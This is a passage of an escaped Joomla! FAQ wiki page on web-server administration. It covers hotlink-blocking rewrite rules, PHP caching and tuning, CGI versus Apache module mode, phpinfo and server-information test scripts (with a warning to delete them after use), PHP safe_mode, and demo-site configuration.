 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means &amp;quot;Or Next&amp;quot;, as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Display a 403 forbidden code&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:&lt;br /&gt;
&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]&lt;br /&gt;
&lt;br /&gt;
= PHP =&lt;br /&gt;
&lt;br /&gt;
== Why is Joomla! written in PHP? ==&lt;br /&gt;
&lt;br /&gt;
: Might as well get it from the horse&#039;s mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&amp;quot;What it all boils down to is that PHP was never meant to win any beauty contests. It wasn&#039;t designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP&#039;s stubborness.&amp;quot;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== What is the latest stable release of PHP? ==&lt;br /&gt;
&lt;br /&gt;
Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.&lt;br /&gt;
&lt;br /&gt;
== How do I tune for speed with PHP5 and MySQL5? ==&lt;br /&gt;
&lt;br /&gt;
: This is just a point by point summary of how I&#039;ve been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.&lt;br /&gt;
&lt;br /&gt;
: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.&lt;br /&gt;
&lt;br /&gt;
# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.&lt;br /&gt;
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.&lt;br /&gt;
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn&#039;t bad for JPG and GIF images either. Don&#039;t forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.&lt;br /&gt;
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn&#039;t write it, but it&#039;s short, to the point, and works.&lt;br /&gt;
&lt;br /&gt;
              ob_start (&amp;quot;ob_gzhandler&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Content-type: text/css&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Cache-Control: must-revalidate&amp;quot;);&lt;br /&gt;
              $offset = 60 * 60 ;&lt;br /&gt;
              $ExpStr = &amp;quot;Expires: &amp;quot; .&lt;br /&gt;
              gmdate(&amp;quot;D, d M Y H:i:s&amp;quot;,&lt;br /&gt;
              time() + $offset) . &amp;quot; GMT&amp;quot;;&lt;br /&gt;
              header($ExpStr);&lt;br /&gt;
&lt;br /&gt;
# Strip unneeded modules, components, mambots from Joomla. If you haven&#039;t used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!&lt;br /&gt;
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don&#039;t necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you&#039;ve noticed any problems, it&#039;s time to fix the code creating them, and test thoroughly before uploading the fixed versions.&lt;br /&gt;
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.&lt;br /&gt;
&lt;br /&gt;
== Should PHP run as a CGI script or as an Apache module? ==&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure Apache to use PHP: &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Configure Apache to load the PHP interpreter as an &amp;lt;i&amp;gt;Apache module&amp;lt;/i&amp;gt;&lt;br /&gt;
# Configure Apache to run the PHP interpreter as a &amp;lt;i&amp;gt;CGI binary&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;(PS: Windows IIS normaly configures as CGI by the way)&amp;lt;/span&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
It is the intention of this post to provide you information relating to &lt;br /&gt;
the configuration and recognition of each method. &amp;amp;quot;In general&amp;amp;quot;&lt;br /&gt;
historically only one method or the other has been implemented,&lt;br /&gt;
however, with the architectural changes made to PHP starting with PHP5,&lt;br /&gt;
it has been quite common for hosting firms to configure for both. One&lt;br /&gt;
version running as CGI and one version running as a Module. It is&lt;br /&gt;
generally accepted more recently that running PHP as a CGI is more&lt;br /&gt;
secure, however, running PHP as an Apache Module does have a slight&lt;br /&gt;
performance gain and is generally how most pre-configured systems will&lt;br /&gt;
be delivered out of the box.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;What is the difference between CGI and apache Module Mode?&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Apache module&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
is compiled into the Apache binary, so the PHP interpreter runs in the&lt;br /&gt;
Apache process, meaning that when Apache spawns a child, each process&lt;br /&gt;
already contains a binary image of PHP. A CGI is executed as a single&lt;br /&gt;
process for each request, and must make an exec() or fork() call to the&lt;br /&gt;
PHP executable, meaning that each request will create a new process of&lt;br /&gt;
the PHP interpreter.  Apache is much more efficient in it&#039;s ability to&lt;br /&gt;
handle requests, and maaging resources, making the Apache module&lt;br /&gt;
slightly faster than the CGI (as well as more stable under load).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;CGI Mode&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
on the other hand, is more secure because the server now manages and&lt;br /&gt;
controls access to the binaries. PHP can now run as your own user&lt;br /&gt;
rather than the generic Apache user. This means you can put your&lt;br /&gt;
database passwords in a file readable only by you and your php scripts&lt;br /&gt;
can still access it! The &amp;amp;quot;Group&amp;amp;quot; and &amp;amp;quot;Other&amp;amp;quot; permissions ( refer &amp;lt;a href=&amp;quot;component/option,com_easyfaq/task,view/id,73/Itemid,268/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Permissions FAQ&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
can now be more restrictive. CGI mode is also claimed to be more&lt;br /&gt;
flexible in many respects as you should now not see, with phpSuExec (&lt;br /&gt;
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html&amp;quot; target=&amp;quot;_blank Permissions under phpSuExec]&lt;br /&gt;
issues with file ownership being taken over by the Apache user,&lt;br /&gt;
therefore you should no-longer have problems under FTP when trying to&lt;br /&gt;
access or modify files that have been uploaded through a PHP interface,&lt;br /&gt;
such as Joomla! upload options.&lt;br /&gt;
&lt;br /&gt;
If your server is&lt;br /&gt;
configured to run PHP as an Apache module, then you will have the&lt;br /&gt;
choice of using either php.ini or Apache .htaccess files, however, if&lt;br /&gt;
your server runs PHP in CGI mode then you will only have the choice of&lt;br /&gt;
using php.ini files locally to change settings, as Apache is no longer&lt;br /&gt;
in complete control of PHP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Testing and Reviewing Your PHP Installation&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;i&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Also known as &amp;amp;quot;Everything you ever wanted and didn&#039;t want to know about PHP&amp;amp;quot;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To&lt;br /&gt;
find out the PHP interpreter mode and to generally test your PHP&lt;br /&gt;
installation and to find out a vast amount of information about your&lt;br /&gt;
PHP environment, supported utilities, applications and settings, you&lt;br /&gt;
create a single PHP file containing &amp;lt;i&amp;gt;only&amp;lt;/i&amp;gt; the following lines;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 phpinfo();&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This single line of code outputs an amazing amount of information, be warned.... &amp;lt;img src=&amp;quot;http://forum.joomla.org/Smileys/joomla/wink.gif&amp;quot; alt=&amp;quot;Wink&amp;quot; border=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Save the file as any filename you wish, but with the &amp;amp;quot;.php&amp;amp;quot; extension. FTP it to your server and open it in a browser.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Other useful information&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following are PHP functions, that when run from a PHP File can provide some useful information, &amp;lt;i&amp;gt;(less than the above option)&amp;lt;/i&amp;gt; many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee&#039;s offered...&lt;br /&gt;
&lt;br /&gt;
Again,&lt;br /&gt;
as above, make a file, name it anything you wish but make sure it has&lt;br /&gt;
the &amp;amp;quot;.php&amp;amp;quot; extension, copy and paste the following lines in to it and&lt;br /&gt;
FTP to your server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;?&amp;lt;br /&amp;gt;echo &amp;amp;quot;Hostname: &amp;amp;quot;. @php_uname(n) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 if (function_exists( &#039;shell_exec&#039; )) { echo &amp;amp;quot;Hostname: &amp;amp;quot;.&lt;br /&gt;
 @gethostbyname(trim(`hostname`)); } else { echo &amp;amp;quot;Server IP: &amp;amp;quot;.&lt;br /&gt;
 $_SERVER[&#039;SERVER_ADDR&#039;] .&amp;amp;quot;&amp;amp;quot;; }&lt;br /&gt;
 echo &amp;amp;quot;Platform: &amp;amp;quot;. @php_uname(s) .&amp;amp;quot; &amp;amp;quot;. @php_uname(r) .&amp;amp;quot; &amp;amp;quot;. @php_uname(v) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Architecture: &amp;amp;quot;. @php_uname(m) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Username: &amp;amp;quot;. get_current_user () .&amp;amp;quot; ( UiD: &amp;amp;quot;. getmyuid() .&amp;amp;quot;, GiD: &amp;amp;quot;. getmygid() .&amp;amp;quot; )&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Curent Path: &amp;amp;quot;. getcwd () .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Type: &amp;amp;quot;. $_SERVER[&#039;SERVER_SOFTWARE&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Admin: &amp;amp;quot;. $_SERVER[&#039;SERVER_ADMIN&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Signature: &amp;amp;quot;. $_SERVER[&#039;SERVER_SIGNATURE&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Protocol: &amp;amp;quot;. $_SERVER[&#039;SERVER_PROTOCOL&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Mode: &amp;amp;quot;. $_SERVER[&#039;GATEWAY_INTERFACE&#039;] .&amp;amp;quot;&amp;amp;quot;;&amp;lt;br /&amp;gt;&lt;br /&gt;
 ?&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! HISA&amp;lt;/span&amp;gt; or &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! Tools Suite&amp;lt;/span&amp;gt; can also assist to determine which mode your server in running in, also&lt;br /&gt;
providing a large amount of other related  information including recommendations on configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Tools Suite&amp;lt;/b&amp;gt; (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the &amp;amp;quot;HISA&amp;amp;quot; script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Health, Installation and Security Audit&amp;lt;/b&amp;gt; (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]&lt;br /&gt;
&lt;br /&gt;
*[http://forum.joomla.org/viewtopic.php?t=136328 Forum Discussion Here] (Project is [http://forum.joomla.org/viewtopic.php?p=1804483#p1804483 &#039;&#039;Dormant&#039;&#039;] since August 2010)&lt;br /&gt;
&lt;br /&gt;
*[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]&lt;br /&gt;
&lt;br /&gt;
Another &amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;Indirect method&amp;lt;/span&amp;gt;, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: maroon&amp;quot;&amp;gt;Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;For those wishing to know more about &amp;amp;quot;How To...&amp;amp;quot;&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as an Apache module&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure Apache to load PHP as a module to &amp;lt;i&amp;gt;&#039;parse&#039;&amp;lt;/i&amp;gt; your PHP scripts, the httpd.conf needs to be modified, typically found in &amp;amp;quot;c:\Program Files\Apache Group\Apache\conf\&amp;amp;quot; or &amp;amp;quot;/etc/httpd/conf/&amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Search for the section of the file that has a series of commented out &amp;amp;quot;LoadModule&amp;amp;quot; statements. (Statements prefixed by the hash &amp;amp;quot;#&amp;amp;quot; sign are regarded as having been commented out.) If PHP is running in &amp;amp;quot;Apache Module&amp;amp;quot; Mode you should see something very similar to the following;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module &amp;amp;quot;c:/php/php4apache.dll&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 1.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
 AddModule mod_php4.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 2.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php4.c    &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Don&#039;t worry that you can&#039;t find a &amp;amp;quot;mod_php4.c&amp;amp;quot; or &amp;amp;quot;mod_php5.c&amp;amp;quot; file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;If you&#039;re using Apache 2.x, you do not have to insert the AddModule directive. It&#039;s no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now find the &amp;amp;quot;AddType&amp;amp;quot; section in the file, and add the following line after the last &amp;amp;quot;AddType&amp;amp;quot; statement:&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you need to support other file types, like &amp;amp;quot;.php3&amp;amp;quot; and &amp;amp;quot;.phtml&amp;amp;quot;, simply add them to the list, like this:&amp;lt;&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run a syntax check and if all is ok, restart Apache...&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as a CGI binary&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure PHP to run as a CGI, again you will need to configure the&lt;br /&gt;
httpd.conf, but confirm that the above settings are not also&lt;br /&gt;
configured, unless you now what you are doing you can generate yourself&lt;br /&gt;
&amp;amp;quot;HTTP 500&amp;amp;quot; errors. Search your Apache configuration file for the&lt;br /&gt;
&amp;amp;quot;ScriptAlias&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Add the following line below after the ScriptAlias for &amp;amp;quot;cgi-bin&amp;amp;quot;. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The location will depend on where PHP is installed on your system, you&lt;br /&gt;
should substitute the appropriate path in place of &amp;amp;quot;c:/php/&amp;amp;quot; (for&lt;br /&gt;
example, &amp;amp;quot;c:/Program Files/php/&amp;amp;quot;).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ScriptAlias /php/ &amp;amp;quot;c:/php/&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apache&lt;br /&gt;
again needs to be configured for the PHP MIME type. Search for the&lt;br /&gt;
&amp;amp;quot;AddType&amp;amp;quot; section, and add the following line after it:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the &amp;amp;quot;Action&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Action application/x-httpd-php &amp;amp;quot;/php/php.exe&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
If you notice, we have used the &amp;amp;quot;ScriptAlias&amp;amp;quot; reference, &amp;amp;quot;/php/&amp;amp;quot; portion&lt;br /&gt;
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. &amp;lt;i&amp;gt;In other words, don&#039;t put &amp;amp;quot;c:/php/php.exe&amp;amp;quot; or &amp;amp;quot;c:/Program Files/php/php.exe&amp;amp;quot; in that directive, put&lt;br /&gt;
&amp;amp;quot;/php/php.exe&amp;amp;quot;, Apache WILL work it out if correctly configured.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Configuring the Default Index Page&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.&lt;br /&gt;
&lt;br /&gt;
If you want to make your PHP script execute as the default page for a directory, you have to add another line to the &amp;amp;quot;httpd.conf&amp;amp;quot;. Simply search for the line in the file that begins with a &amp;amp;quot;DirectoryIndex&amp;amp;quot; and add &amp;amp;quot;index.php&amp;amp;quot; to the list of files on&lt;br /&gt;
that line. For example, if the line used to be:&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;change it to&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html index.php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you still wish .html files to be executed before .php files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.php index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you wish .php files to be executed before .html files&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The next time you access the site or a directory within a site without a&lt;br /&gt;
filename, Apache will &amp;amp;quot;auto-magically&amp;amp;quot; deliver &amp;amp;quot;index.php&amp;amp;quot; if&lt;br /&gt;
available, or &amp;amp;quot;index.html&amp;amp;quot; if &amp;amp;quot;index.php&amp;amp;quot; is not available.&lt;br /&gt;
&lt;br /&gt;
== Why shouldn&#039;t I use PHP safe_mode? ==&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.&lt;br /&gt;
&lt;br /&gt;
The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.&lt;br /&gt;
&lt;br /&gt;
Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;From the official PHP site&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&amp;quot;The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren&#039;t very realistic, many people, especially ISP&#039;s, use safe mode for now.&amp;quot;&#039;&#039; &lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]&lt;br /&gt;
&lt;br /&gt;
= Development =&lt;br /&gt;
== How do I setup a secure demo site? ==&lt;br /&gt;
&lt;br /&gt;
In /includes/version.php look for:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 1;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 0;&lt;br /&gt;
&lt;br /&gt;
For a demo site it is advised to following:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 0;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 1;&lt;br /&gt;
&lt;br /&gt;
 $SITE = 0&lt;br /&gt;
 // Allows multiple user logins with only one account. By default Joomla! &lt;br /&gt;
 // allows only one active session per account as a security feature.&lt;br /&gt;
&lt;br /&gt;
 $RESTRICT = 1&lt;br /&gt;
 // Disables those logging in, both Front-end and Back-end from changing &lt;br /&gt;
 // user details - like password and username&lt;br /&gt;
&lt;br /&gt;
These settings are used on the official demo site http://demo.joomla.org&lt;br /&gt;
&lt;br /&gt;
You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.&lt;br /&gt;
&lt;br /&gt;
